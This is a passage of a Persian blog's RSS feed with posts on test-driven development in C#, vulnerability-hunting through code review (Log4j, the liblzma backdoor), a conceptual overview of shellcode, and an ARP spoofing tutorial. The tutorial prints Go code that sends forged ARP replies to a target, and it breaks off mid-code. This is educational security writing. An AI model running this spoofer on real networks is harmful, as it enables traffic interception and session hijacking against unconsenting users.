پیچیده:روش TDD برای پروژه‌هایی که شامل منطق تجاری پیچیده یا تعداد زیادی از ویژگی‌ها هستند بسیار مفید است.    ایجاد کدهای قابل تست:روش TDD به توسعه‌دهندگان کمک می‌کند کدهایی طراحی کنند که به‌راحتی قابل تست باشند.    توسعه مبتنی بر نیازمندی‌های تغییرپذیر:در پروژه‌هایی که نیازمندی‌ها مرتب تغییر می‌کنند، TDD کمک می‌کند تا کدهای قدیمی با اطمینان به روز شوند.    ایجاد نرم‌افزارهای حساس به کیفیت:پروژه‌هایی که به سطح بالایی از قابلیت اطمینان نیاز دارند، مانند سیستم‌های پزشکی یا مالی، از TDD بهره‌مند می‌شوند.نقاط قوت TDDکیفیت بالاتر کد:روش TDD باعث تولید کدهایی می‌شود که تست‌شده، قابل نگهداری و خوانا هستند.پیشگیری از باگ‌ها:نوشتن تست پیش از کد، بسیاری از باگ‌ها را از ابتدا حذف می‌کند.طراحی بهتر:روش TDD توسعه‌دهندگان را مجبور می‌کند کد را به‌صورت ماژولار طراحی کنند که به توسعه و نگهداری کمک می‌کند.پاسخ سریع‌تر به تغییرات:باوجود تست‌های خودکار، توسعه‌دهندگان می‌توانند بدون نگرانی از خراب شدن عملکرد قبلی، تغییرات را اعمال کنند.نقاط ضعف TDD    زمان‌بر بودن اولیه:نوشتن تست پیش از کد می‌تواند زمان بیشتری نسبت به روش‌های معمولی بگیرد.    نیاز به تجربه:توسعه‌دهندگانی که با TDD آشنا نیستند، ممکن است در ابتدای کار با چالش‌هایی مواجه شوند.    پیچیدگی در پروژه‌های بزرگ:مدیریت تست‌ها در پروژه‌های بزرگ و پیچیده دشوار است.    وابستگی به ابزارها:استفاده از ابزارهای مناسب برای مدیریت تست‌ها ضروری است.مثال‌های عملی با زبان سی‌شارپمثال 1: جمع دو عددفرض کنید یک متد ساده برای جمع دو عدد نیاز داریم.    نوشتن تست (Red):using NUnit.Framework;&#xA;[TestFixture]&#xA;public class CalculatorTests&#xA;{&#xA;    [Test]&#xA;    public void Add_TwoNumbers_ReturnsSum()&#xA;    {&#xA;        var calculator = new Calculator();&#xA;        var result = calculator.Add(2, 3);&#xA;        Assert.AreEqual(5, result);&#xA;    }&#xA;}    نوشتن کد (Green):public class Calculator&#xA;{&#xA;    public int Add(int a, int b)&#xA;    {&#xA;        return a + b; // کمترین مقدار کد برای عبور از تست&#xA;    }&#xA;}    بازسازی (Refactor): در این مثال نیاز به بازسازی خاصی وجود ندارد.مثال 2: اعتبارسنجی یک ایمیلفرض کنید متدی نیاز داریم که بررسی کند آیا یک رشته یک ایمیل معتبر است یا خیر.    نوشتن تست (Red):[TestFixture]&#xA;public class EmailValidatorTests&#xA;{&#xA;    [Test]&#xA;    public void IsValidEmail_ValidEmail_ReturnsTrue()&#xA;    {&#xA;        var validator = new EmailValidator();&#xA;        var result = validator.IsValidEmail(&#34;example@example.com&#34;);&#xA;        Assert.IsTrue(result);&#xA;    }&#xA;&#xA;    [Test]&#xA;    public void IsValidEmail_InvalidEmail_ReturnsFalse()&#xA;    {&#xA;        var validator = new EmailValidator();&#xA;        var result = validator.IsValidEmail(&#34;invalid-email&#34;);&#xA;        Assert.IsFalse(result);&#xA;    }&#xA;}    نوشتن کد (Green):using System.Text.RegularExpressions;&#xA;&#xA;public class EmailValidator&#xA;{&#xA;    public bool IsValidEmail(string email)&#xA;    {&#xA;        var emailPattern = @&#34;^[^@\\s]+@[^@\\s]+\\.[^@\\s]+$&#34;&#xA;        return Regex.IsMatch(email, emailPattern);&#xA;    }&#xA;}    بازسازی (Refactor): در صورت نیاز، می‌توان الگو یا ساختار کد را بهبود داد.ابزارها و فریم‌ورک‌های محبوب برای TDD    NUnit:        یکی از محبوب‌ترین فریم‌ورک‌های تست برای سی‌شارپ است.    xUnit:        سبک و مدرن، با تمرکز بر تست‌های واحد.    MSTest:        فریم‌ورک رسمی مایکروسافت برای تست.    Mocking Libraries:        کتابخانه‌هایی مانند Moq برای ایجاد شبیه‌سازی اشیاء و رفتارها.نتیجه‌گیریتوسعه مبتنی بر تست (TDD) روشی قدرتمند برای تولید نرم‌افزارهای باکیفیت است که علاوه بر کاهش باگ‌ها، به طراحی بهتر و انعطاف‌پذیری بیشتر کمک می‌کند. هرچند که ممکن است یادگیری و پیاده‌سازی آن در ابتدا زمان‌بر باشد، اما مزایای بلندمدت آن بسیار ارزشمند است.درنهایت، استفاده مؤثر از TDD نیازمند آشنایی با ابزارهای مناسب و تمرین مداوم است تا بتوان از تمامی مزایای آن بهره‌مند شد.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sun, 23 Feb 2025 12:01:43 +0330</pubDate></item><item><title>بررسی کد در کتاب day zero تا ZeroDay</title><link>https://virgool.ir/@LoopLunatic/بررسی-کد-در-کتاب-day-zero-تا-zeroday-hhkukoev8um2</link><description>بخش بررسی کد (Code Review) از کتاب From day zero To ZeroDay به اهمیت بررسی کدهای منبع برای کشف آسیب‌پذیری‌ها و درک نحوه عملکرد نرم‌افزار اشاره می‌کند. این فرآیند به محققان امنیتی کمک می‌کند که آسیب‌پذیری‌ها را قبل از اینکه مهاجمان از آن‌ها سوءاستفاده کنند، کشف و برطرف نمایند. در ادامه، این بخش را با جزئیات بیشتری توضیح می‌دهم و با ذکر مثال‌هایی آن را روشن‌تر می‌کنم.۱. بررسی کد چیست و چرا اهمیت دارد؟بررسی کد به فرآیند تجزیه‌وتحلیل کد منبع برای شناسایی آسیب‌پذیری‌های امنیتی و نقص‌های منطقی گفته می‌شود. این روش یکی از اصلی‌ترین ابزارهای محققان امنیتی برای کشف ضعف‌های امنیتی است. برخلاف مهندسی معکوس یا فازینگ که روی فایل‌های باینری تمرکز دارند، بررسی کد از همان ابتدا به منبع اصلی مشکل نگاه می‌کند.چرا بررسی کد اهمیت دارد؟    بسیاری از نرم‌افزارهای امروزی از کتابخانه‌ها و قطعات کد منبع باز استفاده می‌کنند.    ممکن است در این کتابخانه‌ها آسیب‌پذیری‌های قدیمی وجود داشته باشد که هنوز رفع نشده‌اند.    برخی از آسیب‌پذیری‌ها ممکن است در پروژه‌های فورک شده (انشعاب یافته) اصلاح شده باشند، اما در نسخه‌های دیگر باقی‌مانده باشند.۲. مثال‌هایی از اهمیت بررسی کدمثال ۱: آسیب‌پذیری Log4j (CVE-2021-44228)در سال ۲۰۲۱، یک آسیب‌پذیری بحرانی در Apache Log4j کشف شد. این کتابخانه که برای لاگ‌گیری در زبان جاوا استفاده می‌شود، به مهاجمان اجازه می‌داد اجرای کد از راه دور (RCE) را تنها با ارسال یک رشته متنی خاص فعال کنند.این آسیب‌پذیری ناشی از قابلیت ناامن JNDI Lookup در لاگ‌گیری بود. این قابلیت از سال ۲۰۱۳ در کد منبع Log4j وجود داشت، اما هیچ‌کس متوجه آن نشده بود تا زمانی که مهاجمان از آن سوءاستفاده کردند.چرا این آسیب‌پذیری این‌قدر خطرناک بود؟    این کتابخانه در هزاران پروژه ازجمله Apache Struts، Elasticsearch، Minecraft و غیره استفاده می‌شد.    سازمان‌ها و شرکت‌های بزرگی به‌سرعت مجبور به به‌روزرسانی شدند، چراکه این آسیب‌پذیری به مهاجمان اجازه می‌داد که کنترل کامل سیستم‌ها را به دست بگیرند.اگر بررسی کد زودتر انجام می‌شد، این آسیب‌پذیری زودتر کشف و رفع می‌شد!مثال ۲: آسیب‌پذیری در Apache OpenOfficeیک محقق امنیتی در سال ۲۰۲۱ متوجه شد که Apache OpenOffice حاوی یک آسیب‌پذیری اجرای کد از راه دور است که قبلاً در LibreOffice (یک پروژه منشعب شده از OpenOffice) اصلاح شده بود.    مشکل در فرآیند پردازش فایل‌های dBASE بود.    این آسیب‌پذیری باعث می‌شد که یک فایل مخرب بتواند کد دلخواه را اجرا کند.مشکل اصلی:    اگر محققان کد OpenOffice را بررسی کرده بودند، متوجه می‌شدند که این مشکل در LibreOffice اصلاح شده اما در OpenOffice باقی‌مانده است.    این نشان می‌دهد که آسیب‌پذیری‌های یک پروژه می‌توانند روی پروژه‌های دیگر نیز تأثیر بگذارند.مثال ۳: درب پشتی (Backdoor) در کتابخانه liblzmaدر سال ۲۰۲۴، یک درب پشتی خطرناک در کتابخانه liblzma کشف شد که به مهاجمان اجازه می‌داد به سرورهای دارای SSH دسترسی بگیرند.کتابخانه  liblzma بخشی از توزیع‌های اصلی لینوکس مانند Debian و Fedora است.    این آسیب‌پذیری به مهاجمان اجازه می‌داد بدون نیاز به رمز عبور، به سیستم‌های قربانیان نفوذ کنند.    بررسی کد منبع نشان داد که این درب پشتی توسط یک شخص خاص به‌صورت عمدی اضافه‌شده است.اهمیت بررسی کد:    بسیاری از سازمان‌ها و کاربران تصور می‌کنند که کتابخانه‌های متن‌باز امن هستند، اما بررسی کد نشان می‌دهد که حتی در پروژه‌های معتبر هم ممکن است کدهای مخرب اضافه شوند.۳. بررسی وابستگی‌های نرم‌افزارینرم‌افزارهای امروزی به‌شدت به کتابخانه‌های متن‌باز متکی هستند. این وابستگی‌ها می‌توانند باعث شوند که یک آسیب‌پذیری ساده، کل اکوسیستم را تحت تأثیر قرار دهد.مثال:بسیاری از برنامه‌های جاوا از کتابخانه js-yaml برای پردازش فایل‌های YAML استفاده می‌کنند. این کتابخانه تنها ۳۳ فایل دارد، اما به دلیل استفاده گسترده در پروژه‌های دیگر، هرماه ۳۲ میلیون بار دانلود می‌شود!نتیجه: اگر یک آسیب‌پذیری در js-yaml کشف شود، هزاران پروژه دیگر نیز تحت تأثیر قرار می‌گیرند.۴. حمله به وابستگی‌های نرم‌افزاری به‌جای کدهای مبهممحققان امنیتی به‌جای نفوذ مستقیم به نرم‌افزارهای پیچیده، می‌توانند وابستگی‌های آن‌ها را هدف قرار دهند.مثال:یک محقق توانست از طریق آسیب‌پذیری در Netatalk، کنترل چندین دستگاه NAS را در اختیار بگیرد.کتابخانه  Netatalk یک سرور متن‌باز Apple Filing Protocol (AFP) است.    این محقق به‌جای حمله مستقیم به نرم‌افزار NAS، به یکی از کتابخانه‌های وابسته آن حمله کرد.نتیجه: بررسی کد کتابخانه‌های متن‌باز می‌تواند راهی ساده‌تر و مؤثرتر برای کشف آسیب‌پذیری‌ها باشد.۵. چرا بررسی کد هنوز اهمیت دارد؟با اینکه امروزه ابزارهای خودکار مانند CodeQL برای تحلیل کد استفاده می‌شوند، بررسی دستی کد همچنان ضروری است.    بسیاری از آسیب‌پذیری‌ها از طریق ابزارهای خودکار کشف نمی‌شوند.    برخی از مشکلات امنیتی به دلیل پیچیدگی کد یا شرایط خاص اجرای برنامه از چشم تحلیل‌گرهای خودکار پنهان می‌مانند.    حملات مهندسی اجتماعی ممکن است باعث اضافه شدن کدهای مخرب به پروژه‌های متن‌باز شوند.۶. چگونه یک پروژه مناسب برای بررسی کد انتخاب کنیم؟برای انتخاب یک پروژه مناسب جهت بررسی کد، می‌توان از سه معیار زیر استفاده کرد:    آشنایی (Familiarity)        پروژه‌هایی را انتخاب کنید که زبان برنامه‌نویسی آن‌ها را بلد هستید.        بهتر است پروژه‌هایی را بررسی کنید که قبلاً درباره آن‌ها مطالعه کرده‌اید.    دسترسی (Availability)        آیا سورس کد در GitHub یا SourceForge موجود است؟        آیا می‌توان پروژه را به‌راحتی روی یک سیستم تست اجرا کرد؟    تأثیر (Impact)        آیا این پروژه در محصولات و سرویس‌های مهم استفاده می‌شود؟        آیا این آسیب‌پذیری می‌تواند میلیون‌ها کاربر را تحت تأثیر قرار دهد؟جمع‌بندیبخش بررسی کد (Code Review) تأکید دارد که برای کشف آسیب‌پذیری‌های امنیتی: ✅ باید به بررسی کدهای منبع باز و وابستگی‌های نرم‌افزاری توجه شود.✅ بررسی کد می‌تواند آسیب‌پذیری‌هایی را کشف کند که سال‌ها بدون توجه باقی‌مانده‌اند.✅ حمله به کتابخانه‌های وابسته گاهی از حمله مستقیم به نرم‌افزارها آسان‌تر است.✅ ابزارهای خودکار نمی‌توانند جایگزین بررسی دستی کد شوند.با استفاده از این روش‌ها، محققان امنیتی می‌توانند قبل از اینکه مهاجمان از آسیب‌پذیری‌ها سوءاستفاده کنند، آن‌ها را شناسایی و اصلاح کنند. 🚀</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sun, 16 Feb 2025 14:08:16 +0330</pubDate></item><item><title>رمزگشایی از Shellcode: بررسی ویژگی‌ها، تولید و کاربرد</title><link>https://virgool.ir/@LoopLunatic/رمزگشایی-از-shellcode-بررسی-ویژگی-ها-تولید-و-کاربرد-h9kg2xqz307n</link><description>در حوزه امنیت سایبری و توسعه اکسپلویت، کد پوسته به‌عنوان یک مؤلفه اساسی بارهای مخرب و ابزارهای تست نفوذ نقش مهمی ایفا می‌کند. علیرغم ماهیت اغلب مخفی آن، درک پوسته کد برای متخصصان امنیتی و توسعه‌دهندگان به‌طور یکسان ضروری است. در این مقاله، پیچیدگی‌های کد پوسته را بررسی می‌کنیم، ویژگی‌های آن، نحوه تولید، اجرا و کاربردهای عملی آن در حوزه امنیت سایبری را بررسی می‌کنیم.کد پوسته یا Shellcode چیست؟کد پوسته یا Shellcode به قطعه کوچکی از کد ماشینی اشاره دارد که معمولاً به زبان اسمبلی نوشته می‌شود و برای تزریق و اجرا توسط یک فرآیند هدف، اغلب به‌عنوان بخشی از یک‌بار بهره‌برداری بزرگ‌تر طراحی‌شده است. هدف اصلی کد پوسته ایجاد یک پوسته (خط فرمان) یا دسترسی غیرمجاز به یک سیستم راه دور است که مهاجم را قادر می‌سازد دستورات دلخواه را اجرا کند یا کنترل ماشین موردنظر را به دست آورد.ویژگی‌های Shellcodeمینیمالیستی و هدفمند(Minimalist and Targeted): Shellcode مختصر و متناسب با وظایف خاص است و بر دستیابی به یک هدف واحد تمرکز دارد، مانند ایجاد یک پوسته یا ایجاد یک درب پشتی. اندازه کوچک و کارایی آن برای بهره‌برداری موفقیت‌آمیز و فرار از تشخیص حیاتی است.مخصوص پلتفرم(Platform-Specific): Shellcode مختص پلتفرم است و باید برای معماری و سیستم‌عامل هدف ایجاد شود. معماری‌های مختلف CPU (مانند x86، ARM) و سیستم‌های عامل (مانند ویندوز، لینوکس) به دلیل تغییرات در مجموعه دستورالعمل‌ها و فراخوانی‌های سیستم، به اجرای کدهای پوسته متفاوتی نیاز دارند.مستقل از موقعیت(Position-Independent): Shellcode اغلب به‌گونه‌ای طراحی می‌شود که مستقل از موقعیت باشد، به این معنی که می‌تواند بدون توجه به مکان آن در حافظه اجرا شود. این انعطاف‌پذیری به پوسته اجازه می‌دهد تا به بخش‌های مختلف فضای حافظه فرآیند تزریق شود و به‌طور قابل‌اعتمادی اجرا شود.بهره‌برداری گرا(Exploitation-Oriented): Shellcode اغلب همراه با آسیب‌پذیری‌های نرم‌افزاری (مانند سرریز شدن بافر، تزریق کد) برای بهره‌برداری از سیستم‌ها و دسترسی غیرمجاز استفاده می‌شود. از این آسیب‌پذیری‌ها برای اجرای کد دلخواه و دستیابی به کنترل ممتاز بر محیط هدف استفاده می‌کند.تولید Shellcodeکد پوسته یا Shellcode معمولاً از طریق مراحل زیر تولید می‌شود:کدگذاری زبان اسمبلی: Shellcode به زبان اسمبلی سطح پایین با استفاده از ابزارهایی مانند NASM (Netwide Assembler) یا FASM (Flat Assembler) نوشته می‌شود. زبان اسمبلی کنترل مستقیمی بر دستورالعمل‌های پردازنده و فراخوانی‌های سیستمی لازم برای دستیابی به وظایف خاص را فراهم می‌کند.رمزگذاری و اجتناب از Null-Byte(Encoding and Null-Byte Avoidance): Shellcode ممکن است برای جلوگیری از بایت‌های تهی (0x00) تحت کدگذاری قرار گیرد که می‌تواند عملیات رشته را پیش از موعد خاتمه دهد. برای دور زدن محدودیت‌های بایت تهی از تکنیک‌هایی مانند کد پوسته الفبایی یا رمزگذاری بایت (مثلاً رمزگذاری XOR) استفاده می‌شود.تست و بهینه‌سازی(Testing and Optimization): پس از نوشته شدن، کد پوسته ازنظر صحت آزمایش می‌شود و ازنظر اندازه و کارایی بهینه می‌شود. تست دستی و اشکال‌زدایی برای اطمینان از اینکه کد پوسته همان‌طور که در نظر گرفته‌شده بدون ایجاد رفتار ناخواسته عمل می‌کند بسیار مهم است.اجرا و استفاده از Shellcodeکد پوسته یا Shellcode از طریق روش‌های مختلفی اجرا می‌شود، ازجمله:تزریق کد(Code Injection): Shellcode به فضای حافظه یک فرآیند آسیب‌پذیر تزریق می‌شود، اغلب از طریق سرریز بافر یا سایر تکنیک‌های بهره‌برداری. پس از تزریق، کد پوسته با منحرف کردن جریان اجرای برنامه به کد تزریق شده اجرا می‌شود.تولید بار(Payload Generation): Shellcode درون بارهای بهره‌برداری که توسط ابزارهای تست نفوذ یا چارچوب‌های بدافزار تولید می‌شوند، تعبیه‌شده است. محموله از طریق بردارهای مختلف (به‌عنوان مثال، بهره‌برداری‌های شبکه، اسناد مخرب) به سیستم هدف تحویل داده می‌شود و پس از بهره‌برداری موفقیت‌آمیز اجرا می‌شود.دلایل استفاده از Shellcodeاستفاده از کد پوسته اهداف مختلفی را در حوزه امنیت سایبری و توسعه نرم‌افزار انجام می‌دهد:آزمایش بهره‌برداری و نفوذ: محققان امنیتی و آزمایش کننده‌های نفوذ از کد پوسته برای نشان دادن آسیب‌پذیری‌ها، تست دفاعی و ارزیابی وضعیت امنیتی سیستم‌ها و برنامه‌ها استفاده می‌کنند.توسعه بدافزار: عوامل مخرب از کد پوسته برای توسعه و استقرار بدافزار برای دسترسی غیرمجاز، استخراج داده‌ها و سایر فعالیت‌های شرور استفاده می‌کنند.مهندسی معکوس و تجزیه‌وتحلیل: تحلیلگران امنیتی از کد پوسته برای تجزیه‌وتحلیل مهندسی معکوس و بدافزار برای درک تکنیک‌های حمله، شناسایی شاخص‌های سازش (IOC) و توسعه اقدامات دفاعی استفاده می‌کنند.نتیجهدرنتیجه، کد پوسته یک جزء اساسی توسعه اکسپلویت و امنیت سایبری است که مهاجمان و مدافعان را به‌طور یکسان قادر می‌سازد تا سیستم‌ها و برنامه‌ها را ارزیابی، بهره‌برداری و محافظت کنند. درک ویژگی‌ها، فرآیند تولید، روش‌های اجرا و کاربردهای پوسته کد برای متخصصان امنیتی، توسعه‌دهندگان و محققان درگیر در امنیت سایبری و توسعه نرم‌افزار ضروری است. با به دست آوردن بینشی در مورد عملکرد و پیامدهای درونی shellcode، افراد می‌توانند بهتر در برابر تهدیدات و سیستم‌های ایمن در برابر بهره‌برداری در یک‌ چشم¬انداز دیجیتالی که به‌طور فزاینده‌ای به هم پیوسته دفاع کنند.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Wed, 22 Jan 2025 11:44:18 +0330</pubDate></item><item><title>حمله ARP Spoofing چیست؟</title><link>https://virgool.ir/@LoopLunatic/حمله-arp-spoofing-چیست-yfzhqjrfxosm</link><description>پروتکل ARP توسط کامپیوترها به‌صورت  روزانه یا حتی به‌صورت جزئی استفاده می‌شود. این یک پروتکل بی‌اهمیت  است تا رایانه‌ها  از آدرس سخت‌افزاری که آدرس MAC نیز نامیده می‌شود، که به آدرس IP مرتبط است، آگاه باشند 192.168.13.37.این پروتکل، مانند بسیاری دیگر، مستعد حملات جعل است و این چیزی است که در زیر توضیح خواهم داد.پروتکل ARPپروتکل Address Resolution Protocol یک پروتکل ارتباطی است که برای کشف آدرس لایه پیوند، مانند یک آدرس سخت‌افزاری، مرتبط با یک آدرس لایه اینترنت معین، معمولاً یک آدرس IPv4 استفاده می‌شود. این نگاشت یک تابع حیاتی در مجموعه پروتکل اینترنت است.این تعریف به طور مستقیم به اصل مطلب می‌رود، اما من می‌خواهم پروتکل ARP را به روشی گرافیکی‌تر از متن نشان دهم.پروتکل ARP پروتکلی است که مطمئن می شود با توجه به آدرس IPv4 ، آدرس سخت افزاری مربوطه دستگاه را دریافت خواهید کرد . این بسیار مهم است زیرا سخت‌افزار  اترنت با آدرس های سخت افزاری ارتباط برقرار می‌کند نه آدرس های IP.سناریوی نمونهبنابراین فرض کنید چهار جزء داریم:مشتری ، با نام مستعار دستگاه Aروتردستگاه B با آدرس IP192.168.13.37دستگاه C با آدرس IP192.168.13.66من، مشتری و دستگاه A ، می‌خواهم داده‌ها را به دستگاه B ارسال کنم ، اگرچه فقط آدرس IPv4 آن را می‌دانم. بنابراین اکنون که به آدرس سخت‌افزاری  آن نیاز دارم، یک بسته درخواست ARP را در شبکه پخش می‌کنم تا آدرس سخت‌افزاری دستگاه B را دریافت کنم .دستگاه B تشخیص می‌دهد که من آدرس سخت‌افزاری آن را بر اساس آدرس IPv4 آن درخواست می‌کنم، بنابراین یک بسته ARP Reply را با آدرس سخت‌افزاری خود در داخل برای من ارسال می‌کند.هنگامی‌که آدرس سخت‌افزار دستگاه را داشته باشم، برای استفاده در آینده در جدول ARP شخصی من ذخیره می‌شود. جدول ARP را می‌توان در ترمینال با دستورات زیر مشاهده کرد:arp -aبوییدن با Wiresharkوقتی بسته‌ها را فیلتر می‌کنید، تمام سناریوهای توصیف‌شده در بالا به‌راحتی در Wireshark قابل‌مشاهده هستند:دربسته‌های بالا قطعاً می‌توانیم ببینیم که دستگاه هواوی به آدرس سخت‌افزاری سه آدرس IPv4 نیاز دارد.حال اگر آدرس IPv4 در شبکه وجود داشته باشد، دستگاه موردنظر با یک بسته ARP Reply پاسخ خواهد داد . این را می‌توان در Wireshark نیز مشاهده کرد:در اینجا آدرس سخت‌افزاری دستگاه اپل به دستگاه هواوی ارسال می‌شود و در جدول ARP آن برای کش ذخیره می‌شود.جعل ARPاکنون که دانش زمینی پروتکل ARP شناخته شده است، شاید جالب باشد که در نهایت بفهمیم که ARP Spoofing واقعا چیست.توضیحتعریف حمله جعل عبارت است از:درزمینهٔ امنیت اطلاعات و به‌ویژه امنیت شبکه، حمله جعل وضعیتی است که در آن شخص یا برنامه‌ای با جعل داده‌ها با موفقیت به‌عنوان دیگری شناسایی می‌شود تا مزیتی نامشروع به دست آورد.بنابراین این قبلاً اطلاعات زیادی ازآنچه ARP Spoofing واقعاً چیست به دست می‌دهد. با انجام یک حمله ARP Spoofing با جعل داده‌ها به‌عنوان دستگاه دیگری شناسایی می‌شویم . برخی از افراد ممکن است از قبل بدانند که چگونه این امر ممکن است. مدتی به‌تنهایی به آن فکر کنید و سپس به خواندن ادامه دهید.اگر به بسته ARP Reply فکر کرده‌اید ، کاملاً درست می‌گویید! این نسبتاً ساده است. بازگشت به استفاده مشروع از سناریوی پروتکل ARP در بالا. ما به‌عنوان مهاجم به‌سادگی بسته‌های ARP Reply را اسپم می‌کنیم و می‌گوییم که ما دستگاهی هستیم که دارای IPv4 192.168.13.37، دستگاه با IPv4 192.168.13.66و غیره است. درنهایت می‌توانیم هر دستگاهی از شبکه باشیم و دستگاه‌های دیگر را فریب دهیم تا بسته‌های آن‌ها را ارسال کنند. به‌جای دستگاه مشروع به ما. به این حمله Man-in-the-Middle می‌گویند.شایان ذکر است که در طول حمله ARP Spoofing، ممکن است دستگاه حتی بسته‌های درخواست ARP را ارسال نکند ، مهاجم فقط به ارسال هرزنامه ادامه می‌دهد.عواقببرخی از پیامدهای اصلی جعل ARP عبارتند از:Session Hijacking : بسته‌های مربوطه برای مهاجم ارسال می‌شود.Man-in-the-Middle : علت عواقب Session Hijacking ، زیرا بسته‌ها برای مهاجم ارسال می‌شوند.DDoS : مهاجم می‌تواند بسته‌های ARP Reply را اسپم کند که نشان می‌دهد آدرس سخت‌افزاری تمام آدرس‌های IPv4 شبکه است 13:de:ad:be:ef:37که منجر به ارسال همه بسته‌ها به یک هدف می‌شود.کد مثال برای جعل ARPقبل از پایان دادن به این موضوع، ممکن است جالب باشد که ببینید چگونه خودتان یک حمله ARP Spoofing را انجام دهید و خودتان را آموزش دهید. البته ما می‌توانستیم ابزاری مانند اسکریپت متوسط بچه را دانلود کنیم، اما این بسیار خسته‌کننده است...هشدارتوجه داشته باشید که بسته به کاری که ممکن است با ARP Spoofing انجام دهید، ممکن است غیرقانونی باشد - به شما هشدار داده‌شده است.من کلاه‌بردار کوچک ARP خود را در Go کد نویسی کرده‌ام زیرا عاشق این زبان هستم، اگرچه به‌خوبی می‌توان آن را به زبان‌های دیگر، به‌عنوان‌مثال پایتون با Scapy، کدگذاری کرد .بیا شروع کنیم!ساختار جلسهمن Sessionساختاری در یک session.goفایل برای ذخیره اطلاعات مرتبط ایجاد کرده ام که بعداً مورد استفاده قرار می گیرد:package main&#xA;import (&#xA;&#x9;  &#34;github.com/google/gopacket/pcap&#34;&#xA;&#x9;  &#34;net&#34;&#xA;&#x9;  &#34;strings&#34;&#xA;&#x9;  &#34;time&#34;&#xA;)&#xA; &#xA;// Obviously these are not accurate &amp; fictive addresses&#xA;const (&#xA;&#x9;  TargetIP  = &#34;192.168.13.37&#34;&#xA;&#x9;  TargetMAC = &#34;13:de:ad:be:ef:37&#34;&#xA;&#xA;&#x9;  Timeout            = 5 * time.Second&#xA;&#x9;  TotalPacketsToSend = 15&#xA;)&#xA; func main() {&#xA;&#x9;  // Create a new session&#xA;&#x9;  s := NewSession()&#xA;&#x9;  // Get the interface&#xA;&#x9;  ifaces, err := net.Interfaces()&#xA;&#x9;  if err != nil {&#xA;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to retrieve interfaces: &#34; + err.Error())&#xA;&#x9;&#x9;  return&#xA;&#x9;  }&#xA;&#x9;  for _, iface := range ifaces {&#xA;&#x9;&#x9;  if iface.HardwareAddr == nil {&#xA;&#x9;&#x9;  &#x9;continue&#xA;&#x9;&#x9;  }&#xA;&#x9;&#x9;  addrs, err := iface.Addrs()&#xA;&#x9;&#x9;  if err != nil {&#xA;&#x9;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to retrieve the addresses of the interface: &#34; + err.Error())&#xA;&#x9;&#x9;  }&#xA;&#x9;&#x9;  for _, addr := range addrs {&#xA;&#x9;&#x9;&#x9;  if strings.Split(addr.String(), &#34;/&#34;)[0] == s.ip.String() {&#xA;&#x9;&#x9;&#x9;&#x9;  // Set the current interface &amp; MAC address&#xA;&#x9;&#x9;&#x9;&#x9;  s.iface = iface&#xA;&#x9;&#x9;&#x9;&#x9;  s.mac = iface.HardwareAddr&#xA;&#x9;&#x9;&#x9;&#x9;  break&#xA;&#x9;&#x9;&#x9;  }&#xA;&#x9;&#x9;  }&#xA;&#x9;  }&#xA;&#x9;  // Get the device to listen to&#xA;&#x9;  devices, err := pcap.FindAllDevs()&#xA;&#x9;  if err != nil {&#xA;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to retrieve devices: &#34; + err.Error())&#xA;&#x9;&#x9;  return&#xA;&#x9;  }&#xA;&#x9;  for _, device := range devices {&#xA;&#x9;&#x9;  for _, address := range device.Addresses {&#xA;&#x9;&#x9;&#x9;  if address.IP.To4().String() == s.ip.String() {&#xA;&#x9;&#x9;&#x9;&#x9;  s.device = device&#xA;&#x9;&#x9;&#x9;&#x9;  break&#xA;&#x9;&#x9;&#x9;  }&#xA;&#x9;&#x9;  }&#xA;&#x9;  }&#xA;&#xA;&#x9;  // Open the device and be prepared to send the spoofed packets&#xA;&#x9;  handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)&#xA;&#x9;  if err != nil {&#xA;&#x9;&#x9;  s.logger.Fatal(&#34;Failed to open device: &#34; + err.Error())&#xA;&#x9;&#x9;  return&#xA;&#x9;  }&#xA;&#xA;&#x9;  // Prepare the ARP reply packet&#xA;&#x9;  src := NewAddress(s.ip, s.mac)&#xA;&#x9;  mac, _ := net.ParseMAC(TargetMAC)&#xA;&#x9;  dst := NewAddress(net.ParseIP(TargetIP), mac)&#xA;&#x9;  arpReply, _ := NewARPReplyPacket(src, dst)&#xA;&#xA;&#x9;  s.logger.Info(&#34;Sending spoofed ARP replies to &#34; + dst.GetIP().String() + &#34; with MAC &#34; + dst.GetMAC().String() + &#34; every &#34; + Timeout.String())&#xA;&#xA;&#x9;  // Send the packets&#xA;&#x9;  for i := 0; i &lt; TotalPacketsToSend; i++ {&#xA;&#x9;&#x9;  err = handler.WritePacketData(arpReply)&#xA;&#x9;&#x9;  if err != nil {&#xA;&#x9;&#x9;&#x9;  s.logger.Error(&#34;Failed to send packet: &#34; + err.Error())&#xA;&#x9;&#x9;  }&#xA;&#x9;&#x9;  time.Sleep(Timeout)&#xA;&#x9;  }&#xA;}این getOutboundIPتابع آدرس IP در حال استفاده را حل می کند، در صورت تمایل می توانید آن را سخت کد کنید.ساخت بسته های پاسخ ARPبرای ایجاد بسته‌های ARP Reply سفارشی، ابتدا باید یک لایه اترنت ایجاد کنیم که حاوی آدرس‌های سخت‌افزار مبدا و مقصد باشد. لایه دومی که به آن نیاز داریم بدیهی است لایه ARP است، در اینجا هم آدرس IPv4 مبدا و مقصد و هم آدرس سخت افزار مقصد را ارائه می دهیم. سپس باید لایه ها را سریال کنیم تا مطمئن شویم که درست هستند، اگر درست هستند، می توانیم بافر را برگردانیم، همه اینها در فایل انجام شده است arp.go:package main&#xA;&#xA;import (&#xA;    &#34;github.com/google/gopacket&#34;&#xA;    &#34;github.com/google/gopacket/layers&#34;&#xA;    &#34;net&#34;&#xA;)&#xA;&#xA;type Address struct {&#xA;    ip  net.IP&#xA;    mac net.HardwareAddr&#xA;}&#xA; &#xA;func NewAddress(ip net.IP, mac net.HardwareAddr) *Address {&#xA;    return &amp;Address{&#xA;      ip:  ip,&#xA;      mac: mac,&#xA;    }&#xA;}&#xA; &#xA;func (a *Address) GetIP() net.IP {&#xA;&#x9;  return a.ip&#xA;}&#xA;&#xA;func (a *Address) GetMAC() net.HardwareAddr {&#xA;&#x9;  return a.mac&#xA;}&#xA;&#xA;var Options = gopacket.SerializeOptions{&#xA;&#x9;  FixLengths:       true,&#xA;&#x9;  ComputeChecksums: true,&#xA;}&#xA;&#xA;func 